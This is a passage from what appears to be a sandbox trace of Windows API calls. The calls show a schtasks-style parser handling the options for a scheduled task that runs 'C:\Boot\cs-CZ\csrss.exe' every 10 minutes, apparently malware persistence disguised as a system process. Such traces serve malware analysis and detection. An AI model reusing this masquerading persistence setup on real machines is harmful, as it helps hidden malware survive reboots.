\x09", wMatch=0x4d) returned 0x0 [0069.271] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0069.271] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0069.271] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0069.271] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0069.271] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0069.271] GetLastError () returned 0x0 [0069.271] lstrlenW (lpString="MINUTE") returned 6 [0069.271] lstrlenW (lpString="MINUTE") returned 6 [0069.271] SetLastError (dwErrCode=0x0) [0069.271] SetLastError (dwErrCode=0x0) [0069.271] lstrlenW (lpString="/mo") returned 3 [0069.272] lstrlenW (lpString="-/") returned 2 [0069.272] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.272] lstrlenW (lpString="create") returned 6 [0069.287] lstrlenW (lpString="create") returned 6 [0069.287] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.287] lstrlenW (lpString="mo") returned 2 [0069.287] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.287] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|create|") returned 8 [0069.287] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|mo|") returned 4 [0069.287] lstrlenW (lpString="|create|") returned 8 [0069.287] lstrlenW (lpString="|mo|") returned 4 [0069.287] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0069.287] SetLastError (dwErrCode=0x490) [0069.287] lstrlenW (lpString="?") returned 1 [0069.287] lstrlenW (lpString="?") returned 1 [0069.287] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.287] lstrlenW (lpString="mo") returned 2 [0069.287] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.288] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|?|") returned 3 [0069.288] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|mo|") returned 4 [0069.288] lstrlenW (lpString="|?|") returned 3 [0069.288] lstrlenW (lpString="|mo|") returned 4 [0069.288] SetLastError (dwErrCode=0x490) [0069.288] lstrlenW (lpString="s") returned 1 [0069.288] lstrlenW (lpString="s") returned 1 [0069.288] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.288] lstrlenW (lpString="mo") returned 2 [0069.288] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.288] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|s|") returned 3 [0069.288] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|mo|") returned 4 [0069.288] lstrlenW (lpString="|s|") returned 3 [0069.288] lstrlenW (lpString="|mo|") returned 4 [0069.288] SetLastError (dwErrCode=0x490) [0069.288] lstrlenW (lpString="u") returned 1 [0069.288] lstrlenW (lpString="u") returned 1 [0069.288] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.288] lstrlenW (lpString="mo") returned 2 [0069.288] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.288] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|u|") returned 3 [0069.288] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|mo|") returned 4 [0069.288] lstrlenW (lpString="|u|") returned 3 [0069.288] lstrlenW (lpString="|mo|") returned 4 [0069.289] SetLastError (dwErrCode=0x490) [0069.289] lstrlenW (lpString="p") returned 1 [0069.289] lstrlenW (lpString="p") returned 1 [0069.289] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.289] lstrlenW (lpString="mo") returned 2 [0069.289] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.289] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|p|") returned 3 [0069.289] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|mo|") returned 4 [0069.289] lstrlenW (lpString="|p|") returned 3 [0069.289] lstrlenW (lpString="|mo|") returned 4 [0069.289] SetLastError (dwErrCode=0x490) [0069.289] lstrlenW (lpString="ru") returned 2 [0069.289] lstrlenW (lpString="ru") returned 2 [0069.289] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.289] lstrlenW (lpString="mo") returned 2 [0069.289] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.289] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|ru|") returned 4 [0069.289] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|mo|") returned 4 [0069.289] lstrlenW (lpString="|ru|") returned 4 [0069.289] lstrlenW (lpString="|mo|") returned 4 [0069.289] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0069.289] SetLastError (dwErrCode=0x490) [0069.289] lstrlenW (lpString="rp") returned 2 [0069.289] lstrlenW (lpString="rp") returned 2 [0069.290] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.290] lstrlenW (lpString="mo") returned 2 [0069.290] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.290] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rp|") returned 4 [0069.290] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|mo|") returned 4 [0069.290] lstrlenW (lpString="|rp|") returned 4 [0069.290] lstrlenW (lpString="|mo|") returned 4 [0069.290] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0069.290] SetLastError (dwErrCode=0x490) [0069.290] lstrlenW (lpString="sc") returned 2 [0069.290] lstrlenW (lpString="sc") returned 2 [0069.290] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.290] lstrlenW (lpString="mo") returned 2 [0069.290] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.290] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|sc|") returned 4 [0069.290] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|mo|") returned 4 [0069.290] lstrlenW (lpString="|sc|") returned 4 [0069.290] lstrlenW (lpString="|mo|") returned 4 [0069.290] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0069.290] SetLastError (dwErrCode=0x490) [0069.290] lstrlenW (lpString="mo") returned 2 [0069.290] lstrlenW (lpString="mo") returned 2 [0069.290] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.291] lstrlenW (lpString="mo") returned 2 [0069.291] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.291] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|mo|") returned 4 [0069.291] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|mo|") returned 4 [0069.291] lstrlenW (lpString="|mo|") returned 4 [0069.291] lstrlenW (lpString="|mo|") returned 4 [0069.291] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0069.291] SetLastError (dwErrCode=0x0) [0069.291] SetLastError (dwErrCode=0x0) [0069.291] lstrlenW (lpString="10") returned 2 [0069.291] lstrlenW (lpString="-/") returned 2 [0069.291] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0069.291] SetLastError (dwErrCode=0x490) [0069.291] SetLastError (dwErrCode=0x490) [0069.291] SetLastError (dwErrCode=0x0) [0069.291] lstrlenW (lpString="10") returned 2 [0069.291] StrChrIW (lpStart="10", wMatch=0x3a) returned 0x0 [0069.291] SetLastError (dwErrCode=0x490) [0069.291] SetLastError (dwErrCode=0x0) [0069.291] _memicmp (_Buf1=0x14d660, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.291] lstrlenW (lpString="10") returned 2 [0069.291] lstrlenW (lpString="10") returned 2 [0069.291] lstrlenW (lpString=" \x09") returned 2 [0069.291] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0069.291] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0069.291] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0069.292] GetLastError () returned 0x0 [0069.292] lstrlenW (lpString="10") returned 2 [0069.292] lstrlenW (lpString="10") returned 2 [0069.292] GetProcessHeap () returned 0x130000 [0069.292] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x6) returned 0x14bab0 [0069.292] SetLastError (dwErrCode=0x0) [0069.292] SetLastError (dwErrCode=0x0) [0069.292] lstrlenW (lpString="/tr") returned 3 [0069.292] lstrlenW (lpString="-/") returned 2 [0069.292] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.292] lstrlenW (lpString="create") returned 6 [0069.292] lstrlenW (lpString="create") returned 6 [0069.292] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.292] lstrlenW (lpString="tr") returned 2 [0069.292] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.292] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|create|") returned 8 [0069.292] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tr|") returned 4 [0069.292] lstrlenW (lpString="|create|") returned 8 [0069.292] lstrlenW (lpString="|tr|") returned 4 [0069.292] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0069.292] SetLastError (dwErrCode=0x490) [0069.292] lstrlenW (lpString="?") returned 1 [0069.292] lstrlenW (lpString="?") returned 1 [0069.292] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.292] lstrlenW (lpString="tr") returned 2 [0069.292] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.293] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|?|") returned 3 [0069.293] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tr|") returned 4 [0069.293] lstrlenW (lpString="|?|") returned 3 [0069.293] lstrlenW (lpString="|tr|") returned 4 [0069.293] SetLastError (dwErrCode=0x490) [0069.293] lstrlenW (lpString="s") returned 1 [0069.293] lstrlenW (lpString="s") returned 1 [0069.293] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.293] lstrlenW (lpString="tr") returned 2 [0069.293] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.293] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|s|") returned 3 [0069.293] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tr|") returned 4 [0069.293] lstrlenW (lpString="|s|") returned 3 [0069.293] lstrlenW (lpString="|tr|") returned 4 [0069.293] SetLastError (dwErrCode=0x490) [0069.293] lstrlenW (lpString="u") returned 1 [0069.293] lstrlenW (lpString="u") returned 1 [0069.293] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.293] lstrlenW (lpString="tr") returned 2 [0069.293] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.293] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|u|") returned 3 [0069.293] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tr|") returned 4 [0069.293] lstrlenW (lpString="|u|") returned 3 [0069.293] lstrlenW (lpString="|tr|") returned 4 [0069.294] SetLastError (dwErrCode=0x490) [0069.294] lstrlenW (lpString="p") returned 1 [0069.294] lstrlenW (lpString="p") returned 1 [0069.294] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.294] lstrlenW (lpString="tr") returned 2 [0069.294] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.294] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|p|") returned 3 [0069.294] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tr|") returned 4 [0069.294] lstrlenW (lpString="|p|") returned 3 [0069.294] lstrlenW (lpString="|tr|") returned 4 [0069.294] SetLastError (dwErrCode=0x490) [0069.294] lstrlenW (lpString="ru") returned 2 [0069.294] lstrlenW (lpString="ru") returned 2 [0069.294] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.294] lstrlenW (lpString="tr") returned 2 [0069.294] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.294] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|ru|") returned 4 [0069.294] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tr|") returned 4 [0069.294] lstrlenW (lpString="|ru|") returned 4 [0069.294] lstrlenW (lpString="|tr|") returned 4 [0069.294] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0069.294] SetLastError (dwErrCode=0x490) [0069.294] lstrlenW (lpString="rp") returned 2 [0069.294] lstrlenW (lpString="rp") returned 2 [0069.295] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.295] lstrlenW (lpString="tr") returned 2 [0069.295] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.295] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rp|") returned 4 [0069.295] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tr|") returned 4 [0069.295] lstrlenW (lpString="|rp|") returned 4 [0069.295] lstrlenW (lpString="|tr|") returned 4 [0069.295] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0069.295] SetLastError (dwErrCode=0x490) [0069.295] lstrlenW (lpString="sc") returned 2 [0069.295] lstrlenW (lpString="sc") returned 2 [0069.295] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.295] lstrlenW (lpString="tr") returned 2 [0069.295] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.295] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|sc|") returned 4 [0069.295] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tr|") returned 4 [0069.295] lstrlenW (lpString="|sc|") returned 4 [0069.295] lstrlenW (lpString="|tr|") returned 4 [0069.295] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0069.295] SetLastError (dwErrCode=0x490) [0069.295] lstrlenW (lpString="mo") returned 2 [0069.295] lstrlenW (lpString="mo") returned 2 [0069.295] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.296] lstrlenW (lpString="tr") returned 2 [0069.296] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.296] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|mo|") returned 4 [0069.296] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tr|") returned 4 [0069.296] lstrlenW (lpString="|mo|") returned 4 [0069.296] lstrlenW (lpString="|tr|") returned 4 [0069.296] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0069.296] SetLastError (dwErrCode=0x490) [0069.296] lstrlenW (lpString="d") returned 1 [0069.296] lstrlenW (lpString="d") returned 1 [0069.296] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.296] lstrlenW (lpString="tr") returned 2 [0069.296] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.296] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|d|") returned 3 [0069.296] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tr|") returned 4 [0069.296] lstrlenW (lpString="|d|") returned 3 [0069.296] lstrlenW (lpString="|tr|") returned 4 [0069.296] SetLastError (dwErrCode=0x490) [0069.296] lstrlenW (lpString="m") returned 1 [0069.296] lstrlenW (lpString="m") returned 1 [0069.296] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.296] lstrlenW (lpString="tr") returned 2 [0069.296] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.297] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|m|") returned 3 [0069.297] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tr|") returned 4 [0069.297] lstrlenW (lpString="|m|") returned 3 [0069.297] lstrlenW (lpString="|tr|") returned 4 [0069.297] SetLastError (dwErrCode=0x490) [0069.297] lstrlenW (lpString="i") returned 1 [0069.297] lstrlenW (lpString="i") returned 1 [0069.297] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.297] lstrlenW (lpString="tr") returned 2 [0069.297] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.297] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|i|") returned 3 [0069.297] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tr|") returned 4 [0069.297] lstrlenW (lpString="|i|") returned 3 [0069.297] lstrlenW (lpString="|tr|") returned 4 [0069.297] SetLastError (dwErrCode=0x490) [0069.297] lstrlenW (lpString="tn") returned 2 [0069.297] lstrlenW (lpString="tn") returned 2 [0069.297] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.297] lstrlenW (lpString="tr") returned 2 [0069.297] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.297] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tn|") returned 4 [0069.297] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tr|") returned 4 [0069.297] lstrlenW (lpString="|tn|") returned 4 [0069.298] lstrlenW (lpString="|tr|") returned 4 [0069.298] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0069.298] SetLastError (dwErrCode=0x490) [0069.298] lstrlenW (lpString="tr") returned 2 [0069.298] lstrlenW (lpString="tr") returned 2 [0069.298] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.298] lstrlenW (lpString="tr") returned 2 [0069.298] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.298] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tr|") returned 4 [0069.298] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tr|") returned 4 [0069.298] lstrlenW (lpString="|tr|") returned 4 [0069.298] lstrlenW (lpString="|tr|") returned 4 [0069.298] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0069.298] SetLastError (dwErrCode=0x0) [0069.298] SetLastError (dwErrCode=0x0) [0069.298] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0069.298] lstrlenW (lpString="-/") returned 2 [0069.298] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0069.298] SetLastError (dwErrCode=0x490) [0069.298] SetLastError (dwErrCode=0x490) [0069.298] SetLastError (dwErrCode=0x0) [0069.298] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0069.298] StrChrIW (lpStart="'C:\\Boot\\cs-CZ\\csrss.exe'", wMatch=0x3a) returned=":\\Boot\\cs-CZ\\csrss.exe'" [0069.298] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0069.298] _memicmp (_Buf1=0x14c430, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.299] _memicmp (_Buf1=0x14d600, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.299] SetLastError (dwErrCode=0x7a) [0069.299] SetLastError (dwErrCode=0x0) [0069.299] SetLastError (dwErrCode=0x0) [0069.299] lstrlenW (lpString="'C") returned 2 [0069.299] lstrlenW (lpString="-/") returned 2 [0069.299] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0069.299] SetLastError (dwErrCode=0x490) [0069.299] SetLastError (dwErrCode=0x490) [0069.299] SetLastError (dwErrCode=0x0) [0069.299] _memicmp (_Buf1=0x14d660, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.299] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0069.299] GetProcessHeap () returned 0x130000 [0069.299] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d680) returned 1 [0069.299] GetProcessHeap () returned 0x130000 [0069.299] RtlReAllocateHeap (Heap=0x130000, Flags=0xc, Ptr=0x14d680, Size=0x34) returned 0x147c40 [0069.299] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0069.299] lstrlenW (lpString=" \x09") returned 2 [0069.299] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x5a) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0069.300] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0069.301] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0069.301] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0069.301] GetLastError () returned 0x0 [0069.301] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0069.301] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0069.301] SetLastError (dwErrCode=0x0) [0069.301] SetLastError (dwErrCode=0x0) [0069.301] lstrlenW (lpString="/rl") returned 3 [0069.301] lstrlenW (lpString="-/") returned 2 [0069.301] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.301] lstrlenW (lpString="create") returned 6 [0069.301] lstrlenW (lpString="create") returned 6 [0069.301] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.301] lstrlenW (lpString="rl") returned 2 [0069.301] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.301] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|create|") returned 8 [0069.301] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.301] lstrlenW (lpString="|create|") returned 8 [0069.301] lstrlenW (lpString="|rl|") returned 4 [0069.301] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0069.301] SetLastError (dwErrCode=0x490) [0069.301] lstrlenW (lpString="?") returned 1 [0069.301] lstrlenW (lpString="?") returned 1 [0069.301] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.301] lstrlenW (lpString="rl") returned 2 [0069.301] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.302] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|?|") returned 3 [0069.302] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.302] lstrlenW (lpString="|?|") returned 3 [0069.302] lstrlenW (lpString="|rl|") returned 4 [0069.302] SetLastError (dwErrCode=0x490) [0069.302] lstrlenW (lpString="s") returned 1 [0069.302] lstrlenW (lpString="s") returned 1 [0069.302] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.302] lstrlenW (lpString="rl") returned 2 [0069.302] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.302] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|s|") returned 3 [0069.302] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.302] lstrlenW (lpString="|s|") returned 3 [0069.302] lstrlenW (lpString="|rl|") returned 4 [0069.302] SetLastError (dwErrCode=0x490) [0069.302] lstrlenW (lpString="u") returned 1 [0069.302] lstrlenW 